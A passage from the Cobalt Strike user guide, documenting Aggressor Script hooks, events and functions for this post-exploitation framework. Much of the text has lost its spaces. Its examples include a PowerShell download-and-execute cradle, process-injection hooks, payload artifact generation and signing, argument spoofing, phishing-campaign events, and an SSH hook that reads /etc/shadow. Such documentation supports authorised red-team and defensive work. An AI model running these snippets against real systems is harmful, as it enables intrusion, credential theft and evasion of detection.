else { return "powershell -nop -exec bypass -EncodedCommand $script"; } } POWERSHELL_COMPRESS AhookusedbytheresourcekittocompressaPowerShellscript.Thedefaultusesgzipand returnsadeflatorscript. ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Arguments $1-thescripttocompress POWERSHELL_DOWNLOAD_CRADLE ChangetheformofthePowerShelldownloadcradleusedinCobaltStrike'spost-exautomation. Thisincludesjumpwinrm|winrm64,[host]->Access->OneLiner,andpowershell-import. Arguments $1-theURLofthe(localhost)resourcetoreach ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Example CobaltStrikeUserGuide www.fortra.com page:230

AggressorScript/Hooks set POWERSHELL_DOWNLOAD_CRADLE { return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"; } PROCESS_INJECT_EXPLICIT Hooktoallowuserstodefinehowtheexplicitprocessinjectiontechniqueisimplementedwhen executingpostexploitationcommandsusingaBeaconObjectFile(BOF). Arguments $1-BeaconID $2-memoryinjectabledll(position-independentcode) $3-thePIDtoinjectinto $4-offsettojumpto $5-x86/x64-memoryinjectableDLLarch Returns Returnanonemptyvaluewhendefiningyourownexplicitprocessinjectiontechnique. Return$nulltousethedefaultexplicitprocessinjectiontechnique. PostExploitationJobs ThefollowingpostexploitationcommandssupportthePROCESS_INJECT_EXPLICIThook.The CommandcolumndisplaysthecommandtobeusedintheBeaconwindow,TheAggressor Scriptcolumndisplaystheaggressorscriptfunctiontobeusedinscripts,andtheUIcolumn displayswhichmenuoptiontouse. AdditionalInformation l The[ProcessBrowser]interfaceisaccessedby[beacon] -> Explore -> Process List. Thereisalsoamultiversionofthisinterfacewhichisaccessedbyselectingmultiple sessionsandusingthesameUImenu.WhenintheProcessBrowserusethebuttonsto perform additionalcommandsontheselectedprocess. CobaltStrikeUserGuide www.fortra.com page:231

AggressorScript/Hooks l Thechromedump,dcsync,hashdump,keylogger,logonpasswords,mimikatz,net, portscan,printscreen,pth,screenshot,screenwatch,ssh,andssh-key commands alsohaveafork&runversion.Tousetheexplicitversionrequiresthepidandarchitecture arguments. l Forthenet and&bnet commandthedomaincommandwillnotusethehook. JobTypes Command Aggressor Script UI browserpivot &bbrowserpivot [beacon]->Explore->BrowserPivot chromedump dcsync &bdcsync dllinject &bdllinject hashdump &bhashdump inject &binject [ProcessBrowser]->Inject keylogger &bkeylogger [ProcessBrowser]->LogKeystrokes logonpasswords &blogonpasswords mimikatz &bmimikatz &bmimikatz_small net &bnet portscan &bportscan printscreen &bprintscreen psinject &bpsinject pth &bpassthehash screenshot &bscreenshot [ProcessBrowser]->Screenshot(Yes) screenwatch &bscreenwatch [ProcessBrowser]->Screenshot(No) shinject &bshinject ssh &bssh ssh-key &bssh_key Example CobaltStrikeUserGuide www.fortra.com page:232

AggressorScript/Hooks

Hook to allow the user to define how the explicit injection technique

is implemented when executing post exploitation commands.

$1 = Beacon ID

$2 = memory injectable dll for the post exploitation command

$3 = the PID to inject into

$4 = offset to jump to

$5 = x86/x64 - memory injectable DLL arch

set PROCESS_INJECT_EXPLICIT { local('$barch $handle $data $args $entry');

Set the architecture for the beacon's session

$barch = barch($1);

read in the injection BOF based on barch

warn("read the BOF: inject_explicit. $+ $barch $+ .o"); $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle);

pack our arguments needed for the BOF

$args = bof_pack($1, "iib", $3, $4, $2); btask($1, "Process Inject using explicit injection into pid $3");

Set the entry point based on the dll's arch

$entry = "go $+ $5"; beacon_inline_execute($1, $data, $entry, $args);

Let the caller know the hook was implemented.

return 1; } PROCESS_INJECT_SPAWN Hooktoallowuserstodefinehowtheforkandrunprocessinjectiontechniqueisimplemented whenexecutingpostexploitationcommandsusingaBeaconObjectFile(BOF). Arguments $1 -BeaconID $2 -memoryinjectabledll(position-independentcode) $3 -true/falseignoreprocesstoken $4 -x86/x64-memoryinjectableDLLarch CobaltStrikeUserGuide www.fortra.com page:233

AggressorScript/Hooks Returns Returnanonemptyvaluewhendefiningyourownforkandrunprocessinjectiontechnique. Return$nulltousethedefaultforkandruninjectiontechnique. PostExploitationJobs ThefollowingpostexploitationcommandssupportthePROCESS_INJECT_SPAWNhook.The CommandcolumndisplaysthecommandtobeusedintheBeaconwindow,TheAggressor Scriptcolumndisplaystheaggressorscriptfunctiontobeusedinscripts,andtheUIcolumn displayswhichmenuoptiontouse. AdditionalInformation l Theelevate,runasadmin,&belevate,&brunasadmin and[beacon] -> Access -> Elevate commandswillonlyusethePROCESS_INJECT_SPAWNhookwhenthe specifiedexploitusesoneofthelistedaggressorscriptfunctionsinthetable,for example&bpowerpick. l Forthenet and&bnet commandthedomaincommandwillnotusethehook. l The(useahash)notemeansselectacredentialthatreferencesahash. JobTypes Command Aggressor Script UI chromedump dcsync &bdcsync elevate &belevate [beacon]->Access->Elevate [beacon]->Access->GoldenTicket hashdump &bhashdump [beacon]->Access->DumpHashes keylogger &bkeylogger logonpasswords &blogonpasswords [beacon]->Access->RunMimikatz [beacon]->Access->MakeToken(usea hash) mimikatz &bmimikatz &bmimikatz_small CobaltStrikeUserGuide www.fortra.com page:234

AggressorScript/Hooks Command Aggressor Script UI net &bnet [beacon]->Explore->NetView portscan &bportscan [beacon]->Explore->PortScan powerpick &bpowerpick printscreen &bprintscreen pth &bpassthehash runasadmin &brunasadmin [target]->Scan screenshot &bscreenshot [beacon]->Explore->Screenshot screenwatch &bscreenwatch ssh &bssh [target]->Jump->ssh ssh-key &bssh_key [target]->Jump->ssh-key [target]->Jump->exploit Example

------------------------------------

$1 = Beacon ID

$2 = memory injectable dll (position-independent code)

$3 = true/false ignore process token

$4 = x86/x64 - memory injectable DLL arch

------------------------------------

set PROCESS_INJECT_SPAWN { local('$barch $handle $data $args $entry');

Set the architecture for the beacon's session

$barch = barch($1);

read in the injection BOF based on barch

warn("read the BOF: inject_spawn. $+ $barch $+ .o"); $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle);

pack our arguments needed for the BOF

$args = bof_pack($1, "sb", $3, $2); btask($1, "Process Inject using fork and run");

Set the entry point based on the dll's arch

$entry = "go $+ $4"; CobaltStrikeUserGuide www.fortra.com page:235

AggressorScript/Hooks beacon_inline_execute($1, $data, $entry, $args);

Let the caller know the hook was implemented.

return 1; } PSEXEC_SERVICE Settheservicenameusedbyjumppsexec|psexec64|psexec_pshandpsexec. Example set PSEXEC_SERVICE { return "foobar"; } PYTHON_COMPRESS CompressaPythonscriptgeneratedbyCobaltStrike. Arguments $1-thescripttocompress ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Example set PYTHON_COMPRESS { return "import base64; exec base64.b64decode("" . base64_encode($1) . "")"; } RESOURCE_GENERATOR ControltheformatoftheVBStemplateusedinCobaltStrike. ResourceKit CobaltStrikeUserGuide www.fortra.com page:236

AggressorScript/Hooks ThishookisdemonstratedintheThe Resource Kit on page 92. Arguments $1-theshellcodetoinjectandrun RESOURCE_GENERATOR_VBS ControlsthecontentoftheHTMLApplicationUser-driven(EXEOutput)generatedbyCobalt Strike. Arguments $1-theEXEdata $2-thenameofthe.exe ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Example set HTMLAPP_EXE { local('$handle $data'); $handle = openf(script_resource("template.exe.hta")); $data = readb($handle, -1); closef($handle); $data = strrep($data, '##EXE##', transform($1, "hex")); $data = strrep($data, '##NAME##', $2); return $data; } SIGNED_APPLET_MAINCLASS SpecifyaJavaAppletfiletousefortheJavaSignedAppletAttack.SeeJava Signed Applet Attack on page 80. AppletKit CobaltStrikeUserGuide www.fortra.com page:237

AggressorScript/Hooks ThishookisdemonstratedintheAppletKit.TheAppletKitisavailableviatheCobaltStrike Arsenal(Help->Arsenal). Example set SIGNED_APPLET_MAINCLASS { return "Java.class"; } SIGNED_APPLET_RESOURCE SpecifyaJavaAppletfiletousefortheJavaSignedAppletAttack.SeeJava Signed Applet Attack on page 80. AppletKit ThishookisdemonstratedintheAppletKit.TheAppletKitisavailableviatheCobaltStrike Arsenal(Help->Arsenal). Example set SIGNED_APPLET_RESOURCE { return script_resource("dist/applet_signed.jar"); } SMART_APPLET_MAINCLASS SpecifytheMAINclassoftheJavaSmartAppletAttack.SeeJava Smart Applet Attack on page 81. AppletKit ThishookisdemonstratedintheAppletKit.TheAppletKitisavailableviatheCobaltStrike Arsenal(Help->Arsenal). Example set SMART_APPLET_MAINCLASS { return "Java.class"; } CobaltStrikeUserGuide www.fortra.com page:238

AggressorScript/Events SMART_APPLET_RESOURCE SpecifyaJavaAppletfiletousefortheJavaSmartAppletAttack.SeeJava Smart Applet Attack on page 81. AppletKit ThishookisdemonstratedintheAppletKit.TheAppletKitisavailableviatheCobaltStrike Arsenal(Help->Arsenal). Example set SMART_APPLET_RESOURCE { return script_resource("dist/applet_rhino.jar"); } Events ThesearetheeventsfiredbyAggressorScript. * ThiseventfireswheneveranyAggressorScripteventfires. Arguments $1-theoriginaleventname ...-theargumentstotheevent Example

event spy script

on * { println("[ $+ $1 $+ ]: " . subarray(@_, 1)); } beacon_checkin CobaltStrikeUserGuide www.fortra.com page:239

AggressorScript/Events FiredwhenaBeaconcheckinacknowledgementispostedtoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthemessage $3-whenthismessageoccurred beacon_error FiredwhenanerrorispostedtoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthemessage $3-whenthismessageoccurred beacon_indicator FiredwhenanindicatorofcompromisenoticeispostedtoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-theuserresponsiblefortheinput $3-thetextofthemessage $4-whenthismessageoccurred beacon_initial FiredwhenaBeaconcallshomeforthefirsttime. Arguments CobaltStrikeUserGuide www.fortra.com page:240

AggressorScript/Events $1-theIDofthebeaconthatcalledhome. Example on beacon_initial {

list network connections

bshell($1, "netstat -na | findstr "ESTABLISHED"");

list shares

bshell($1, "net use");

list groups

bshell($1, "whoami /groups"); } beacon_initial_empty FiredwhenaDNSBeaconcallshomeforthefirsttime.Atthispoint,nometadatahasbeen exchanged. Arguments $1-theIDofthebeaconthatcalledhome. Example on beacon_initial_empty { binput($1, "[Acting on new DNS Beacon]");

change the data channel to DNS TXT

bmode($1, "dns-txt");

request the Beacon checkin and send its metadata

bcheckin($1); } beacon_input FiredwhenaninputmessageispostedtoaBeacon'sconsole. Arguments CobaltStrikeUserGuide www.fortra.com page:241

AggressorScript/Events $1-theIDofthebeacon $2-theuserresponsiblefortheinput $3-thetextofthemessage $4-whenthismessageoccurred beacon_mode FiredwhenamodechangeacknowledgementispostedtoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthemessage $3-whenthismessageoccurred beacon_output FiredwhenoutputispostedtoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthemessage $3-whenthismessageoccurred beacon_output_alt Firedwhen(alternate)outputispostedtoaBeacon'sconsole.Whatmakesforalternateoutput? It'sjustdifferentpresentationfromnormaloutput. Arguments $1-theIDofthebeacon $2-thetextofthemessage CobaltStrikeUserGuide www.fortra.com page:242

AggressorScript/Events $3-whenthismessageoccurred beacon_output_jobs FiredwhenjobsoutputissenttoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthejobsoutput $3-whenthismessageoccurred beacon_output_ls FiredwhenlsoutputissenttoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthelsoutput $3-whenthismessageoccurred beacon_output_ps FiredwhenpsoutputissenttoaBeacon'sconsole. Arguments $1-theIDofthebeacon $2-thetextofthepsoutput $3-whenthismessageoccurred beacon_tasked FiredwhenataskacknowledgementispostedtoaBeacon'sconsole. CobaltStrikeUserGuide www.fortra.com page:243

AggressorScript/Events Arguments $1-theIDofthebeacon $2-thetextofthemessage $3-whenthismessageoccurred beacons FiredwhentheteamserversendsoverfreshinformationonallofourBeacons.Thisoccurs aboutonceeachsecond. Arguments $1-anarrayofdictionaryobjectswithmetadataforeachBeacon. custom_event_ Firedwhenaclientreceivesacustomeventfromanotherclient. Arguments $1-whosentthecustomevent $2-theeventdata $3-thetimetheeventwassent Example

subscribe to the my-topic custom event

on "custom_event_my-topic" { println("Received my-topic:") println("\tSender: $1"); println("\tData: $2"); println("\tTimestamp: $3"); } disconnect CobaltStrikeUserGuide www.fortra.com page:244

AggressorScript/Events FiredwhenthisCobaltStrikebecomesdisconnectedfromtheteamserver. event_action Firedwhenauserperformsanactionintheeventlog.ThisissimilartoanactiononIRC(the /mecommand) Arguments $1-whothemessageisfrom $2-thecontentsofthemessage $3-thetimethemessagewasposted event_beacon_initial Firedwhenaninitialbeaconmessageispostedtotheeventlog. Arguments $1-thecontentsofthemessage $2-thetimethemessagewasposted event_join Firedwhenauserconnectstotheteamserver Arguments $1-whojoinedtheteamserver $2-thetimethemessagewasposted event_newsite Firedwhenanewsitemessageispostedtotheeventlog. Arguments CobaltStrikeUserGuide www.fortra.com page:245

AggressorScript/Events $1-whosetupthenewsite $2-thecontentsofthenewsitemessage $3-thetimethemessagewasposted event_notify Firedwhenamessagefromtheteamserverispostedtotheeventlog. Arguments $1-thecontentsofthemessage $2-thetimethemessagewasposted event_nouser FiredwhenthecurrentCobaltStrikeclienttriestointeractwithauserwhoisnotconnectedto theteamserver. Arguments $1-whoisnotpresent $2-thetimethemessagewasposted event_private Firedwhenaprivatemessageispostedtotheeventlog. Arguments $1-whothemessageisfrom $2-whothemessageisdirectedto $3-thecontentsofthemessage $4-thetimethemessagewasposted CobaltStrikeUserGuide www.fortra.com page:246

AggressorScript/Events event_public Firedwhenapublicmessageispostedtotheeventlog. Arguments $1-whothemessageisfrom $2-thecontentsofthemessage $3-thetimethemessagewasposted event_quit Firedwhensomeonedisconnectsfromtheteamserver. Arguments $1-wholefttheteamserver $2-thetimethemessagewasposted heartbeat_10m Firedeverytenminutes heartbeat_10s Firedeverytenseconds heartbeat_15m Firedeveryfifteenminutes heartbeat_15s Firedeveryfifteenseconds CobaltStrikeUserGuide www.fortra.com page:247

AggressorScript/Events heartbeat_1m Firedeveryminute heartbeat_1s Firedeverysecond heartbeat_20m Firedeverytwentyminutes heartbeat_30m Firedeverythirtyminutes heartbeat_30s Firedeverythirtyseconds heartbeat_5m Firedeveryfiveminutes heartbeat_5s Firedeveryfiveseconds heartbeat_60m Firedeverysixtyminutes keylogger_hit Firedwhentherearenewresultsreportedtothewebserverviatheclonedsitekeystrokelogger. Arguments CobaltStrikeUserGuide www.fortra.com page:248

AggressorScript/Events $1-externaladdressofvisitor $2-reserved $3-theloggedkeystrokes $4-thephishingtokenfortheserecordedkeystrokes. keystrokes FiredwhenCobaltStrikereceiveskeystrokes Arguments $1-adictionarywithinformationaboutthekeystrokes. Key Value bid BeaconIDforsessionkeystrokesoriginatedfrom data keystrokedatareportedinthisbatch id identifierforthiskeystrokebuffer session desktopsessionfromkeystrokelogger title lastactivewindowtitlefromkeystrokelogger user usernamefromkeystrokelogger when timestampofwhentheseresultsweregenerated Example on keystrokes { if ("Admin" iswm $1["title"]) { blog($1["bid"], "Interesting keystrokes received. Go to \c4View -> Keystrokes\o and look for the green buffer."); highlight("keystrokes", @($1), "good"); } } profiler_hit FiredwhentherearenewresultsreportedtotheSystemProfiler. CobaltStrikeUserGuide www.fortra.com page:249

AggressorScript/Events Arguments $1-externaladdressofvisitor $2-de-cloakedinternaladdressofvisitor(or"unknown") $3-visitor'sUser-Agent $4-adictionarycontainingtheapplications. $5-thephishingtokenofthevisitor(use&tokenToEmailtoresolvetoanemailaddress) ready FiredwhenthisCobaltStrikeclientisconnectedtotheteamserverandreadytoact. screenshots FiredwhenCobaltStrikereceivesascreenshot. Arguments $1-adictionarywithinformationaboutthescreenshot. Key Value bid BeaconIDforsessionscreenshotoriginatedfrom data rawscreenshotdata(thisisa.jpgfile) id identifierforthisscreenshot session desktopsessionreportedbyscreenshottool title activewindowtitlefromscreenshottool user usernamefromscreenshottool when timestampofwhenthisscreenshotwasreceived Example

watch for any screenshots where someone is banking and

redact it from the user-interface.

on screenshots { CobaltStrikeUserGuide www.fortra.com page:250

AggressorScript/Events local('$title'); $title = lc($1["title"]); if ("bankofamerica" iswm $title) { redactobject($1["id"]); } else if ("jpmc*" iswm $title) { redactobject($1["id"]); } } sendmail_done Firedwhenaphishingcampaigncompletes Arguments $1-thecampaignID sendmail_post Firedafteraphishissenttoanemailaddress. Arguments $1-thecampaignID $2-theemailwe'resendingaphishto $3-thestatusofthephish(e.g.,SUCCESS) $4-themessagefromthemailserver sendmail_pre Firedbeforeaphishissenttoanemailaddress. Arguments $1-thecampaignID $2-theemailwe'resendingaphishto CobaltStrikeUserGuide www.fortra.com page:251

AggressorScript/Events sendmail_start Firedwhenanewphishingcampaignkicksoff. Arguments $1-thecampaignID $2-numberoftargets $3-localpathtoattachment $4-thebouncetoaddress $5-themailserverstring $6-thesubjectofthephishingemail $7-thelocalpathtothephishingtemplate $8-theURLtoembedintothephish ssh_checkin FiredwhenanSSHclientcheckinacknowledgementispostedtoanSSHconsole. Arguments $1-theIDofthesession $2-thetextofthemessage $3-whenthismessageoccurred ssh_error FiredwhenanerrorispostedtoanSSHconsole. Arguments $1-theIDofthesession CobaltStrikeUserGuide www.fortra.com page:252

AggressorScript/Events $2-thetextofthemessage $3-whenthismessageoccurred ssh_indicator FiredwhenanindicatorofcompromisenoticeispostedtoanSSHconsole. Arguments $1-theIDofthesession $2-theuserresponsiblefortheinput $3-thetextofthemessage $4-whenthismessageoccurred ssh_initial FiredwhenanSSHsessionisseenforthefirsttime. Arguments $1-theIDofthesession Example on ssh_initial { if (-isadmin $1) { bshell($1, "cat /etc/shadow"); } } ssh_input FiredwhenaninputmessageispostedtoanSSHconsole. Arguments $1-theIDofthesession CobaltStrikeUserGuide www.fortra.com page:253

AggressorScript/Events $2-theuserresponsiblefortheinput $3-thetextofthemessage $4-whenthismessageoccurred ssh_output FiredwhenoutputispostedtoanSSHconsole. Arguments $1-theIDofthesession $2-thetextofthemessage $3-whenthismessageoccurred ssh_output_alt Firedwhen(alternate)outputispostedtoanSSHconsole.Whatmakesforalternateoutput?It's justdifferentpresentationfromnormaloutput. Arguments $1-theIDofthesession $2-thetextofthemessage $3-whenthismessageoccurred ssh_tasked FiredwhenataskacknowledgementispostedtoanSSHconsole. Arguments $1-theIDofthesession $2-thetextofthemessage $3-whenthismessageoccurred CobaltStrikeUserGuide www.fortra.com page:254

AggressorScript/Functions web_hit Firedwhenthere'sanewhitonCobaltStrike'swebserver. Arguments $1-themethod(e.g.,GET,POST) $2-therequestedURI $3-thevisitor'saddress $4-thevisitor'sUser-Agentstring $5-thewebserver'sresponsetothehit(e.g.,200) $6-thesizeofthewebserver'sresponse $7-adescriptionofthehandlerthatprocessedthishit. $8-adictionarycontainingtheparameterssenttothewebserver $9-thetimewhenthehittookplace. Functions ThisisalistofAggressorScript'sfunctions. QuickJump A|B|C |D |E |F |G |H|I|J |K |L|M|N |O|P|Q|R |S |T |U |W |X|Y |Z -hasbootstraphint Checkifabytearrayhasthex86orx64bootstraphint.Usethisfunctiontodetermineifit'ssafe touseanartifactthatpassesGetProcAddress/GetModuleHandleApointerstothispayload. Arguments $1-bytearraywithapayloadorshellcode. CobaltStrikeUserGuide www.fortra.com page:255

AggressorScript/Functions Seealso &payload_bootstrap_hint -is64 Checkifasessionisonanx64systemornot(Beacononly). Arguments $1-Beacon/SessionID Example command x64 { foreach $session (beacons()) { if (-is64 $session['id']) { println($session); } } } -isactive Checkifasessionisactiveornot.Asessionisconsideredactiveif(a)ithasnotacknowledged anexitmessageAND(b)itisnotdisconnectedfromaparentBeacon. Arguments $1-Beacon/SessionID Example command active { local('$bid'); foreach $bid (beacon_ids()) { if (-isactive $bid) { println("$bid is active!"); } } } CobaltStrikeUserGuide www.fortra.com page:256

AggressorScript/Functions -isadmin Checkifasessionhasadminrights Arguments $1-Beacon/SessionID Example command admin_sessions { foreach $session (beacons()) { if (-isadmin $session['id']) { println($session); } } } -isbeacon CheckifasessionisaBeaconornot. Arguments $1-Beacon/SessionID Example command beacons { foreach $session (beacons()) { if (-isbeacon $session['id']) { println($session); } } } -isssh CheckifasessionisanSSHsessionornot. Arguments CobaltStrikeUserGuide www.fortra.com page:257

AggressorScript/Functions $1-Beacon/SessionID Example command ssh_sessions { foreach $session (beacons()) { if (-isssh $session['id']) { println($session); } } } action Postapublicactionmessagetotheeventlog.Thisissimilartothe/mecommand. Arguments $1-themessage Example action("dances!"); addTab CreateatabtodisplayaGUIobject. Arguments $1-thetitleofthetab $2-aGUIobject.AGUIobjectisonethatisaninstanceofjavax.swing.JComponent. $3-atooltiptodisplaywhenauserhoversoverthistab. Example $label = [new javax.swing.JLabel: "Hello World"]; addTab("Hello!", $label, "this is an example"); CobaltStrikeUserGuide www.fortra.com page:258

AggressorScript/Functions addVisualization RegisteravisualizationwithCobaltStrike. Arguments $1-thenameofthevisualization $2-ajavax.swing.JComponentobject Example $label = [new javax.swing.JLabel: "Hello World!"]; addVisualization("Hello World", $label); Seealso &showVisualization add_to_clipboard Addtexttotheclipboard,notifytheuser. Arguments $1-thetexttoaddtotheclipboard Example add_to_clipboard("Paste me you fool!"); alias CreatesanaliascommandintheBeaconconsole Arguments $1-thealiasnametobindto CobaltStrikeUserGuide www.fortra.com page:259

AggressorScript/Functions $2-acallbackfunction.Calledwhentheuserrunsthealias.Argumentsare:$0=commandrun, $1=beaconid,$2=arguments. Example alias("foo", { btask($1, "foo!"); }); alias_clear Removesanaliascommand(andrestoresdefaultfunctionality;ifitexisted) Arguments $1-thealiasnametoremove Example alias_clear("foo"); all_payloads Generatesallofthestagelesspayloads(inx86andx64)foralloftheconfiguredlisteners.(also availableintheUImenuunderPayloads -> Windows Stageless Generate all Payloads) Arguments $1-Thefolderpathtocreatethepayloadsin. $2-Abooleanvalueforwhethertheexecutablefilesshouldbesigned. $3Astringvalueforthesystemcallmethod.Validvaluesare: None:UsethestandardWindowsAPIfunction. Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthefunction. CobaltStrikeUserGuide www.fortra.com page:260

AggressorScript/Functions $4-(optional)ThesupportingHTTPlibraryforgeneratedbeacons(wininet|winhttp|$null|blank string). Example $folder = all_payloads "/tmp/payloads", 1, "None"); println("Payloads have been saved to $folder"); applications ReturnsalistofapplicationinformationinCobaltStrike'sdatamodel.Theseapplicationsare resultsfromtheSystemProfiler. Returns Anarrayofdictionaryobjectswithinformationabouteachapplication. Example printAll(applications()); archives ReturnsamassivelistofarchivedinformationaboutyouractivityfromCobaltStrike'sdata model.ThisinformationisleanedonheavilytoreconstructyouractivitytimelineinCobalt Strike'sreports. Returns Anarrayofdictionaryobjectswithinformationaboutyourteam'sactivity. Example foreach $index => $entry (archives()) { println("\c3( $+ $index $+ )\o $entry"); } artifact CobaltStrikeUserGuide www.fortra.com page:261

AggressorScript/Functions DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_stager instead. Generatesastagerartifact(exe,dll)fromaCobaltStrikelistener Arguments $1-thelistenername $2-theartifacttype $3-deprecated;thisparameternolongerhasanymeaning. $4-x86|x64-thearchitectureofthegeneratedstager Type Description dll anx86DLL dllx64 anx64DLL exe aplainexecutable powershell apowershellscript python apythonscript svcexe aserviceexecutable vbscript aVisualBasicscript Note Beawarethatnotalllistenerconfigurationshavex64stagers.Ifindoubt,usex86. Returns Ascalarcontainingthespecifiedartifact. Example $data = artifact("my listener", "exe"); $handle = openf(">out.exe"); writeb($handle, $data); closef($handle); CobaltStrikeUserGuide www.fortra.com page:262

AggressorScript/Functions artifact_general Generatesapayloadartifactfromarbitraryshellcode. Arguments $1-theshellcode $2-theartifacttype $3-x86|x64-thearchitectureofthegeneratedpayload Type Description dll aDLL exe aplainexecutable powershell apowershellscript python apythonscript svcexe aserviceexecutable Note WhilethePythonartifactinCobaltStrikeisdesignedtosimultaneouslycarryanx86andx64 payload;thisfunctionwillonlypopulatethescriptwiththearchitectureargumentspecifiedas $3 artifact_payload Generatesastagelesspayloadartifact(exe,dll)fromaCobaltStrikelistenername Arguments $1-thelistenername $2-theartifacttype $3-x86|x64-thearchitectureofthegeneratedpayload(stage) $4-exitmethod:'thread'(leavethethreadwhendone)or'process'(exittheprocesswhen done).Use'thread'ifinjectingintoanexistingprocess. CobaltStrikeUserGuide www.fortra.com page:263

AggressorScript/Functions $5Astringvalueforthesystemcallmethod.Validvaluesare: None:UsethestandardWindowsAPIfunction. Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthefunction. Type Description dll aDLL exe aplainexecutable powershell apowershellscript python apythonscript raw rawpayloadstage svcexe aserviceexecutable $6-(optional)ThesupportingHTTPlibraryforgeneratedbeacons(wininet|winhttp|$null|blank string). Note WhilethePythonartifactinCobaltStrikeisdesignedtosimultaneouslycarryanx86andx64 payload;thisfunctionwillonlypopulatethescriptwiththearchitectureargumentspecifiedas $3 Example $data = artifact_payload("my listener", "exe", "x86", “process”, “Indirect”); artifact_sign SignanEXEorDLLfile Arguments $1-thecontentsoftheEXEorDLLfiletosign Notes CobaltStrikeUserGuide www.fortra.com page:264

AggressorScript/Functions l Thisfunctionrequiresthatacode-signingcertificateisspecifiedinthisserver's MalleableC2profile.Ifnocode-signingcertificateisconfigured,thisfunctionwillreturn $1withnochanges. l DO NOTsignanexecutableorDLLtwice.ThelibraryCobaltStrikeusesforcode-signing willcreateaninvalid(second)signatureiftheexecutableorDLLisalreadysigned. Returns Ascalarcontainingthesignedartifact. Example

generate an artifact!

$data = artifact("my listener", "exe");

sign it.

$data = artifact_sign($data);

save it

$handle = openf(">out.exe"); writeb($handle, $data); closef($handle); artifact_stageless DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_payload instead. Generatesastagelessartifact(exe,dll)froma(local)CobaltStrikelistener Arguments $1-thelistenername(mustbelocaltothisteamserver) $2-theartifacttype $3-x86|x64-thearchitectureofthegeneratedpayload(stage) $4-proxyconfigurationstring $5-callbackfunction.Thisfunctioniscalledwhentheartifactisready.The$1argumentisthe stagelesscontent. CobaltStrikeUserGuide www.fortra.com page:265

AggressorScript/Functions Type Description dll anx86DLL dllx64 anx64DLL exe aplainexecutable powershell apowershellscript python apythonscript raw rawpayloadstage svcexe aserviceexecutable Notes l Thisfunctionprovidesthestagelessartifactviaacallbackfunction.Thisisnecessary becauseCobaltStrikegeneratespayloadstagesontheteam server. l TheproxyconfigurationstringisthesamestringyouwouldusewithPayloads -> Windows Stageless Payload.directignoresthelocalproxyconfigurationand attemptsadirectconnection.protocol://user:[email protected]:port specifieswhichproxyconfigurationtheartifactshoulduse.Theusernameand passwordareoptional(e.g.,protocol://host:portisfine).Theacceptable protocolsaresocksandhttp.Settheproxyconfigurationstringto$nullor""touse thedefaultbehavior.Custom dialogsmayuse&drow_proxyservertosetthis. l Thisfunctioncannotgenerateartifactsforlistenersonotherteam servers.Thisfunction alsocannotgenerateartifactsforforeignlisteners.Limityouruseofthisfunctionto locallisterswithstagesonly.Custom dialogsmayuse&drow_listener_stagetochoose anacceptablelistenerforthisfunction. l Note:whilethePythonartifactinCobaltStrikeisdesignedtosimultaneouslycarryan x86andx64payload;thisfunctionwillonlypopulatethescriptwiththearchitecture argumentspecifiedas$3 Example sub ready { local('$handle'); $handle = openf(">out.exe"); writeb($handle, $1); closef($handle); } artifact_stageless("my listener", "exe", "x86", "", &ready); CobaltStrikeUserGuide www.fortra.com page:266

AggressorScript/Functions artifact_stager Generatesastagerartifact(exe,dll)fromaCobaltStrikelistener Arguments $1-thelistenername $2-theartifacttype $3-x86|x64-thearchitectureofthegeneratedstager Type Description dll aDLL exe aplainexecutable powershell apowershellscript python apythonscript raw therawfile svcexe aserviceexecutable vbscript aVisualBasicscript Note Beawarethatnotalllistenerconfigurationshavex64stagers.Ifindoubt,usex86. Returns Ascalarcontainingthespecifiedartifact. Example $data = artifact_stager("my listener", "exe", "x86"); $handle = openf(">out.exe"); writeb($handle, $data); closef($handle); barch CobaltStrikeUserGuide www.fortra.com page:267

AggressorScript/Functions ReturnsthearchitectureofyourBeaconsession(e.g.,x86orx64) Arguments $1-theidforthebeacontopullmetadatafor Note Ifthearchitectureisunknown(e.g.,aDNSBeaconthathasn'tsentmetadatayet);thisfunction willreturnx86. Example println("Arch is: " . barch($1)); bargue_add ThisfunctionaddsanoptiontoBeacon'slistofcommandstospoofargumentsfor. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandtospoofargumentsfor.EnvironmentvariablesareOKheretoo. $3-thefakeargumentstousewhenthespecifiedcommandisrun. Notes l Theprocessmatchisexact.IfBeacontriestolaunch"net.exe",itwillnotmatchnet, NET.EXE,orc:\windows\system32\net.exe.Itwillonlymatchnet.exe. l x86Beaconcanonlyspoofargumentsinx86childprocesses.Likewise,x64Beaconcan onlyspoofargumentsinx64childprocesses. l Therealargumentsarewrittentothememoryspacethatholdsthefakearguments.If therealargumentsarelongerthanthefakearguments,thecommandlaunchwillfail. Example

spoof cmd.exe arguments.

bargue_add($1, "%COMSPEC%", "/K "cd c:\windows\temp & startupdatenow.bat""); CobaltStrikeUserGuide www.fortra.com page:268

AggressorScript/Functions

spoof net arguments

bargue_add($1, "net", "user guest /active:no"); bargue_list Listthecommands+fakeargumentsBeaconwillspoofargumentsfor. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example bargue_list($1); bargue_remove ThisfunctionremovesanoptiontoBeacon'slistofcommandstospoofargumentsfor. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandtospoofargumentsfor.EnvironmentvariablesareOKheretoo. Example

don't spoof cmd.exe

